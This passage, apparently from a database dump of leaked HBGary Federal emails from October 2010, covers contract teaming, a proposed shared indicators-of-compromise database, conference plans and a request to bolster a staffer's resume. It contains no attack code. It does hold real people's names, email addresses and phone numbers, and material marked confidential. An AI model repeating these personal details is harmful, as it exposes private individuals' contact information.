\"Sheldon, Scott W.\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> Are you looking for commercial Cyber/Information Assurance, or something\r\n> else commercial?\r\n>\r\n> Scott\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, October 06, 2010 8:03 AM\r\n> To: Sheldon, Scott W.\r\n> Subject: Question\r\n>\r\n> Scott,\r\n>\r\n> Is there someone in your commercial organization you can put me in\r\n> contact with?  If so that would be great.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal, LLC\r\n> 719.510.8478\r\n>\r\n>\r\n>\r\n',14621,'aaron_hbgary_com/14621.html'),(12708,'2010-10-06','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009363.M967190P14101Q7563.eml','\"Vera, Ted H. (TASCSD)\" <Ted.Vera@ngc.com>,\"Barr Aaron\" <aaron@hbgary.com>','Mark Trynor info','\r\n\r\n\r\n\r\n\r\nMark Trynor info\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nI need the date of Mark&#8217;s last background investigation.\r\n\r\nAlso, I need a few sentences on why Mark is a forensics guru.&nbsp; You mentioned that he worked an incident response or evaluation down in New Mexico or somewhere down in the southwest.&nbsp; Can you give me a few nuggets that I can insert as quals both in the proposal and resume?&nbsp; There is no mention of this in his resume and there needs to be.\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',7517,'aaron_hbgary_com/7517.html'),(12709,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009364.M245583P14101Q7564.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Training Blackhat DC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me check with Ping and I&#8217;ll get back to you.&nbsp; I think we are\r\ngoing to do a booth so that might move some thingsJ&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, October 05, 2010 7:29 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Training Blackhat DC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIt looks closed. :( &nbsp;That is a good idea though. &nbsp;I\r\nneed to look for other training venues.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Oct 5, 2010, at 7:43 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nSocial Media.&nbsp; You should submit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE &#8211;&nbsp;Any tax information or written tax advice contained herein (including\r\nattachments) is not intended to be and cannot be used by any taxpayer for the\r\npurpose of avoiding tax penalties that may be imposed on&nbsp;the\r\ntaxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S.\r\nTreasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for&nbsp;&nbsp; delivering the message to the intended recipient,\r\nbe advised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal, LLC\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9171,'aaron_hbgary_com/9171.html'),(12710,'2010-10-06','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009364.M454955P14101Q7565.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Mark Trynor info','\r\n\r\n\r\n\r\n\r\nMark Trynor info\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nI need the date of Mark&#8217;s last background investigation.\r\n\r\nAlso, I need a few sentences on why Mark is a forensics guru.&nbsp; You mentioned that he worked an incident response or evaluation down in New Mexico or somewhere down in the southwest.&nbsp; Can you give me a few nuggets that I can insert as quals both in the proposal and resume?&nbsp; There is no mention of this in his resume and there needs to be.\r\n\r\nThanks,\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',13936,'aaron_hbgary_com/13936.html'),(12711,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009364.M681205P14101Q7566.eml','\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,\"Maughan, Douglas\" <Douglas.Maughan@dhs.gov>,\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>,','RE: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeap and I figured that at least\r\nwith this group, we can start that effort.&nbsp; Kurt is working with a new task\r\nforce involving agencies plus DoD, you have DHS and I think we can draw up a\r\nlist of companies.&nbsp; Greg mentioned SRI might be interested too based upon your\r\ndiscussion yesterday.&nbsp; We are willing to help and get others in both private\r\nand public to help.&nbsp; Kurt thoughts from your group?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maughan, Douglas\r\n[mailto:Douglas.Maughan@dhs.gov] \r\nSent: Tuesday, October 05, 2010 10:23 PM\r\nTo: Penny Leavy-Hoglund; Pipal, Kurt; Maughan, Douglas\r\nCc: brian.buckley@ic.fbi.gov; Greg Hoglund; Aaron Barr\r\nSubject: RE: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg mentioned it to me briefly\r\ntoday. \r\n\r\n&nbsp;\r\n\r\nAt the 10,000 foot level it\r\nseems like a good idea, but you know me &#8230; I don&#8217;t stay at the 10,000 foot level\r\nvery long. You&#8217;ve got to get down at the ground level, which includes\r\ndiscussions about business plans, long-term funding, legal issues, public AND\r\nprivate, etc., etc. All topics that need to be discussed, written down, and\r\ncirculated around some subset of the community working in the malware space.\r\nSorry to be somewhat of a rain cloud on your idea, but if we&#8217;re going to do\r\nsomething like this, then it&#8217;s going to require lots of upfront work to make it\r\nsustainable.\r\n\r\n&nbsp;\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, October 05, 2010 5:22 PM\r\nTo: \'Pipal, Kurt\'; \'Maughan, Douglas\'\r\nCc: brian.buckley@ic.fbi.gov; \'Greg Hoglund\'; \'Aaron Barr\'\r\nSubject: QUestion for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe want to create an industry consortium which would include\r\npublic and private entities to create &nbsp;Symptoms of Compromise\r\nDatabase.&nbsp; Mandiant has open IOC&#8217;s but they never share the good stuff and\r\nit&#8217;s associated with a vendor, which really isn&#8217;t beneficial to the community\r\nsince it&#8217;s vendor specific. In order to make this really work, you need more\r\nthan one company or organization.&nbsp; &nbsp;&nbsp;We wanted to know if\r\nperhaps Kurt, your new group would sponsor something like this.&nbsp; I&#8217;m\r\ncopying Doug Maughan over at DHS, S&amp;T and Brain (since he was the reason we\r\nall met)&nbsp; I have customers who also want to be part of this, one is over\r\nat L-3 and some in banking etc.&nbsp; So, what are your thoughts?&nbsp; I think\r\nit would work more like a standard, where you have Birds of a Feather and bring\r\nin various participants like McAFee, Cisco etc and I could help with this as\r\nwell.&nbsp; (get you in touch with the right people)&nbsp; We could even make\r\nit a separate organization funded by a grant perhaps (hence Doug&#8217;s group)&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6294,'aaron_hbgary_com/6294.html'),(12712,'2010-10-06','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009364.M914961P14101Q7567.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: SSC PAC PreAward/Contract Planning-After Actions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think we have HBGary Fed participate.&nbsp; They can sell product\r\nif needed and we already have contract in place and their email says HBGary.&nbsp;\r\nIf it&#8217;s personnel it will be them anyway and we have a WAY higher billing rate\r\nthan Fed so it works out better for all.&nbsp; Aaron?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, October 06, 2010 5:59 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: FW: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nGD had their pre-award planning meeting for the SPAWAR IDIQ\r\ncontract they expect to be awarded. As you&#8217;ll recall, HBGary is a tier-1\r\nteaming partner.&nbsp; There will be multiple awardees who will compete as task\r\norders are released, with quick turnaround.&nbsp; My impression is that this\r\nwill be primarily a labor contract, but if with work could realize software\r\nsales too.&nbsp; My memory says the work will be mostly unclass or secret\r\nlevel.\r\n\r\n&nbsp;\r\n\r\nMy inclination is to wait until there is an award before giving\r\nit much attention, but will make a few calls to GD folks to find out where we\r\ngo from here.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, October 05, 2010 11:01 PM\r\nTo: ron.jacobsosn@linquest.com; naveen.reddy@linquest.com;\r\ndave.atherton@eyestreet.com; wstephen@telcordia.com; sleanheart@telcordia.com;\r\nrichard.tillery@visllc.com; cbernard@visllc.com; barbara.m.sootkoos@us.pwc.com;\r\nesutton@systechnologies.com; bob.jayne@ndpgroup.com; Smith, Timothy-P65114\r\n(EXT) (GDC4S); ecamargo@deloitte.com; marcmurph@deloitte.com;\r\nalok@simulexinc.com; mmulpuri@simulex.com; dcurtis@sim-gtech.com;\r\nprempfer@sim-gtech.com; jlrubritz@wareonearth.com; tyancey@wareonearth.com;\r\nfrank.backes@braxtontech.com; Julie.wllies@braxtontech.com; dperalta@ndti.net;\r\njmathis@ndti.net; dan_ownby@minervaengineering.com; jmorgan@ewa.com;\r\npwomble@ewa.com; rwebb@defgrp.com; stotz@cubrc.org; carl.houghton@issinc.com;\r\njohn_long@gdit.com; Martin, Robert Z.; Holtmann, Vincent A.; Ebber@avi.com; \'Bob\r\nSlapnik\'; Dan Roberts; Dietz, James Eric; Autry, Tim; Beck, Bob; Wendy Yee;\r\njim.burton@cataphora.com; Jondi_Bernardo@McAfee.com; sbodmer@savidcorp.com;\r\nJeffrey Carr; Bradshaw, Kent-P57625 (EXT) (GDC4S)\r\nCc: Valdez, George G.; Jaeger, James A.; Carron, Brian E.; Rabideau, Tim\r\nJ.\r\nSubject: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nThanks again for those of you that we able to attend the session and we very\r\nmuch appreciated the dialogue. Below is a high-level action that we discussed to\r\ninclude the meeting summary,&nbsp; attached slide deck, attendee roster, and\r\nCompetency Chart. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nremember that the formal award announcements have not been distributed to the\r\nPrimes, so handle the attached documents appropriately and do not distribute.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAction for Teammates\r\n\r\n\r\n\r\n\r\n\r\n1)Provide\r\nprimary POCs for&#8212;1)Business Development, 2)Technical/Engineering, and 3)\r\nContracts/Pricing\r\n\r\n\r\n\r\n\r\n\r\nPURPOSE:&nbsp;&nbsp; These\r\nPOCs will be our primary points of contact for future engagements and will be the\r\nprimary POCs that will have access to the team SharePoint site. From the\r\ntechnical perspective, we will work with this POC as we organize our Technical\r\nIPTs for TTO review and response to the government.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMeeting\r\nSummary\r\n\r\n\r\n\r\n\r\n\r\nOur\r\nmeeting covered the need to develop a short and long-term roadmap that would\r\nallow the entire team to align team capabilities and expertise with customer\r\nfunding and requirements. Our roadmap will focus on some quick success actions\r\nthat will help us to shape early Technical Task Orders (TTOs) and grow our\r\nVision in lockstep with customer needs (both SSC PAC and other supporting govt.\r\ncustomers that intend to use the vehicle). \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill continue the development of this roadmap via team collaboration and data\r\nsharing activities that we will organize via the SSC PAC SharePoint website.\r\nThat is another primary reason for everyone to respond with the requested POCs\r\nso we can ensure everyone is able to access the SharePoint website. We will\r\ncoordinate, schedule, deconflict, and help to organize messaging and\r\ncustomer&nbsp; meetings via the Calendar on the SharePoint site to ensure that\r\neveryone is moving in the same direction. Lastly, the SharePoint&nbsp; site\r\nwill allow all teammates to update their capability offerings, whitepapers, etc.\r\nin preparation for bidding TTOs and interfacing with the customer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nhelp align this roadmap we will begin to focus on the following technology\r\nareas and customers that we discussed during the meeting.&nbsp; This list is\r\nnot all inclusive, but will help to guide our roadmap development. Along this\r\nsame line, we are organizing team messaging and discriminators for everyone&#8217;s\r\nawareness.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTechnical\r\nFocus Areas\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nSituational Awareness\r\n\r\n\r\n\r\n\r\n\r\nMission\r\nAssurance\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nModeling and Simulation\r\n\r\n\r\n\r\n\r\n\r\nCollaboration\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCustomers\r\n\r\n\r\n\r\n\r\n\r\nSPAWAR\r\nCode 56, Team SPAWAR, PEO C4I, USCYBERCOM, 10th Fleet, 24th AF, COCOMS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10875,'aaron_hbgary_com/10875.html'),(12713,'2010-10-06','\"Pipal, Kurt\" <Kurt.Pipal@ic.fbi.gov>','/aaron@hbgary.com/new/1297009365.M184544P14101Q7568.eml','\"penny@hbgary.com\" <penny@hbgary.com>,\"Maughan, Douglas (DHS)\" <douglas.maughan@dhs.gov>,\"penny@hbgary.com\" <penny@hbgary.com>,\"Maughan, Douglas (DHS)\" <douglas.maughan@dhs.gov>,','Re: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nWell the task force, NCIJTF, I\'m at has almost everyone in the government.  I\'m new here and to this discussion so I would need to hear more before I can provide comments of value.  Maybe when you are out here we can sit down and discuss it?  Kurt\r\n\r\n\r\nFrom: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;To: Maughan, Douglas (DHS); Pipal, KurtCc: Buckley, Brian; \'Greg Hoglund\' &lt;greg@hbgary.com&gt;; \'Aaron Barr\' &lt;aaron@hbgary.com&gt;Sent: Wed Oct 06 12:06:51 2010Subject: RE: Question for You\r\n\r\n\r\n\r\n\r\nYeap and I figured that at least\r\nwith this group, we can start that effort.&nbsp; Kurt is working with a new task\r\nforce involving agencies plus DoD, you have DHS and I think we can draw up a\r\nlist of companies.&nbsp; Greg mentioned SRI might be interested too based upon your\r\ndiscussion yesterday.&nbsp; We are willing to help and get others in both private\r\nand public to help.&nbsp; Kurt thoughts from your group?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maughan, Douglas\r\n[mailto:Douglas.Maughan@dhs.gov] \r\nSent: Tuesday, October 05, 2010 10:23 PM\r\nTo: Penny Leavy-Hoglund; Pipal, Kurt; Maughan, Douglas\r\nCc: brian.buckley@ic.fbi.gov; Greg Hoglund; Aaron Barr\r\nSubject: RE: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg mentioned it to me briefly\r\ntoday. \r\n\r\n&nbsp;\r\n\r\nAt the 10,000 foot level it\r\nseems like a good idea, but you know me … I don’t stay at the 10,000 foot level\r\nvery long. You’ve got to get down at the ground level, which includes\r\ndiscussions about business plans, long-term funding, legal issues, public AND\r\nprivate, etc., etc. All topics that need to be discussed, written down, and\r\ncirculated around some subset of the community working in the malware space.\r\nSorry to be somewhat of a rain cloud on your idea, but if we’re going to do\r\nsomething like this, then it’s going to require lots of upfront work to make it\r\nsustainable.\r\n\r\n&nbsp;\r\n\r\nDoug\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, October 05, 2010 5:22 PM\r\nTo: \'Pipal, Kurt\'; \'Maughan, Douglas\'\r\nCc: brian.buckley@ic.fbi.gov; \'Greg Hoglund\'; \'Aaron Barr\'\r\nSubject: QUestion for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWe want to create an industry consortium which would include\r\npublic and private entities to create &nbsp;Symptoms of Compromise\r\nDatabase.&nbsp; Mandiant has open IOC’s but they never share the good stuff and\r\nit’s associated with a vendor, which really isn’t beneficial to the community\r\nsince it’s vendor specific. In order to make this really work, you need more\r\nthan one company or organization.&nbsp; &nbsp;&nbsp;We wanted to know if\r\nperhaps Kurt, your new group would sponsor something like this.&nbsp; I’m\r\ncopying Doug Maughan over at DHS, S&amp;T and Brain (since he was the reason we\r\nall met)&nbsp; I have customers who also want to be part of this, one is over\r\nat L-3 and some in banking etc.&nbsp; So, what are your thoughts?&nbsp; I think\r\nit would work more like a standard, where you have Birds of a Feather and bring\r\nin various participants like McAFee, Cisco etc and I could help with this as\r\nwell.&nbsp; (get you in touch with the right people)&nbsp; We could even make\r\nit a separate organization funded by a grant perhaps (hence Doug’s group)&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nThoughts?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE – Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8704,'aaron_hbgary_com/8704.html'),(12714,'2010-10-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009365.M470503P14101Q7569.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: SSC PAC PreAward/Contract Planning-After Actions','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI agree\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, October 06, 2010 12:12 PM\r\nTo: \'Bob Slapnik\'; \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: RE: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think we have HBGary Fed participate.&nbsp; They can sell\r\nproduct if needed and we already have contract in place and their email says\r\nHBGary.&nbsp; If it&#8217;s personnel it will be them anyway and we have a WAY higher\r\nbilling rate than Fed so it works out better for all.&nbsp; Aaron?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, October 06, 2010 5:59 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Aaron Barr\'; \'Ted Vera\'\r\nSubject: FW: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nGD had their pre-award planning meeting for the SPAWAR IDIQ\r\ncontract they expect to be awarded. As you&#8217;ll recall, HBGary is a tier-1\r\nteaming partner.&nbsp; There will be multiple awardees who will compete as task\r\norders are released, with quick turnaround.&nbsp; My impression is that this\r\nwill be primarily a labor contract, but if with work could realize software\r\nsales too.&nbsp; My memory says the work will be mostly unclass or secret\r\nlevel.\r\n\r\n&nbsp;\r\n\r\nMy inclination is to wait until there is an award before giving\r\nit much attention, but will make a few calls to GD folks to find out where we\r\ngo from here.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, October 05, 2010 11:01 PM\r\nTo: ron.jacobsosn@linquest.com; naveen.reddy@linquest.com;\r\ndave.atherton@eyestreet.com; wstephen@telcordia.com; sleanheart@telcordia.com;\r\nrichard.tillery@visllc.com; cbernard@visllc.com; barbara.m.sootkoos@us.pwc.com;\r\nesutton@systechnologies.com; bob.jayne@ndpgroup.com; Smith, Timothy-P65114\r\n(EXT) (GDC4S); ecamargo@deloitte.com; marcmurph@deloitte.com;\r\nalok@simulexinc.com; mmulpuri@simulex.com; dcurtis@sim-gtech.com;\r\nprempfer@sim-gtech.com; jlrubritz@wareonearth.com; tyancey@wareonearth.com;\r\nfrank.backes@braxtontech.com; Julie.wllies@braxtontech.com; dperalta@ndti.net;\r\njmathis@ndti.net; dan_ownby@minervaengineering.com; jmorgan@ewa.com;\r\npwomble@ewa.com; rwebb@defgrp.com; stotz@cubrc.org; carl.houghton@issinc.com;\r\njohn_long@gdit.com; Martin, Robert Z.; Holtmann, Vincent A.; Ebber@avi.com;\r\n\'Bob Slapnik\'; Dan Roberts; Dietz, James Eric; Autry, Tim; Beck, Bob; Wendy\r\nYee; jim.burton@cataphora.com; Jondi_Bernardo@McAfee.com; sbodmer@savidcorp.com;\r\nJeffrey Carr; Bradshaw, Kent-P57625 (EXT) (GDC4S)\r\nCc: Valdez, George G.; Jaeger, James A.; Carron, Brian E.; Rabideau, Tim\r\nJ.\r\nSubject: SSC PAC PreAward/Contract Planning-After Actions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nThanks again for those of you that we able to attend the session and we very\r\nmuch appreciated the dialogue. Below is a high-level action that we discussed\r\nto include the meeting summary,&nbsp; attached slide deck, attendee roster, and\r\nCompetency Chart. \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\nremember that the formal award announcements have not been distributed to the\r\nPrimes, so handle the attached documents appropriately and do not distribute.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAction for Teammates\r\n\r\n\r\n\r\n\r\n\r\n1)Provide\r\nprimary POCs for&#8212;1)Business Development, 2)Technical/Engineering, and 3)\r\nContracts/Pricing\r\n\r\n\r\n\r\n\r\n\r\nPURPOSE:&nbsp;&nbsp; These\r\nPOCs will be our primary points of contact for future engagements and will be\r\nthe primary POCs that will have access to the team SharePoint site. From the\r\ntechnical perspective, we will work with this POC as we organize our Technical\r\nIPTs for TTO review and response to the government.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMeeting\r\nSummary\r\n\r\n\r\n\r\n\r\n\r\nOur\r\nmeeting covered the need to develop a short and long-term roadmap that would\r\nallow the entire team to align team capabilities and expertise with customer\r\nfunding and requirements. Our roadmap will focus on some quick success actions\r\nthat will help us to shape early Technical Task Orders (TTOs) and grow our\r\nVision in lockstep with customer needs (both SSC PAC and other supporting govt.\r\ncustomers that intend to use the vehicle). \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nwill continue the development of this roadmap via team collaboration and data\r\nsharing activities that we will organize via the SSC PAC SharePoint website.\r\nThat is another primary reason for everyone to respond with the requested POCs\r\nso we can ensure everyone is able to access the SharePoint website. We will\r\ncoordinate, schedule, deconflict, and help to organize messaging and\r\ncustomer&nbsp; meetings via the Calendar on the SharePoint site to ensure that\r\neveryone is moving in the same direction. Lastly, the SharePoint&nbsp; site\r\nwill allow all teammates to update their capability offerings, whitepapers,\r\netc. in preparation for bidding TTOs and interfacing with the customer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTo\r\nhelp align this roadmap we will begin to focus on the following technology\r\nareas and customers that we discussed during the meeting.&nbsp; This list is\r\nnot all inclusive, but will help to guide our roadmap development. Along this\r\nsame line, we are organizing team messaging and discriminators for everyone&#8217;s\r\nawareness.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTechnical\r\nFocus Areas\r\n\r\n\r\n\r\n\r\n\r\nCyber\r\nSituational 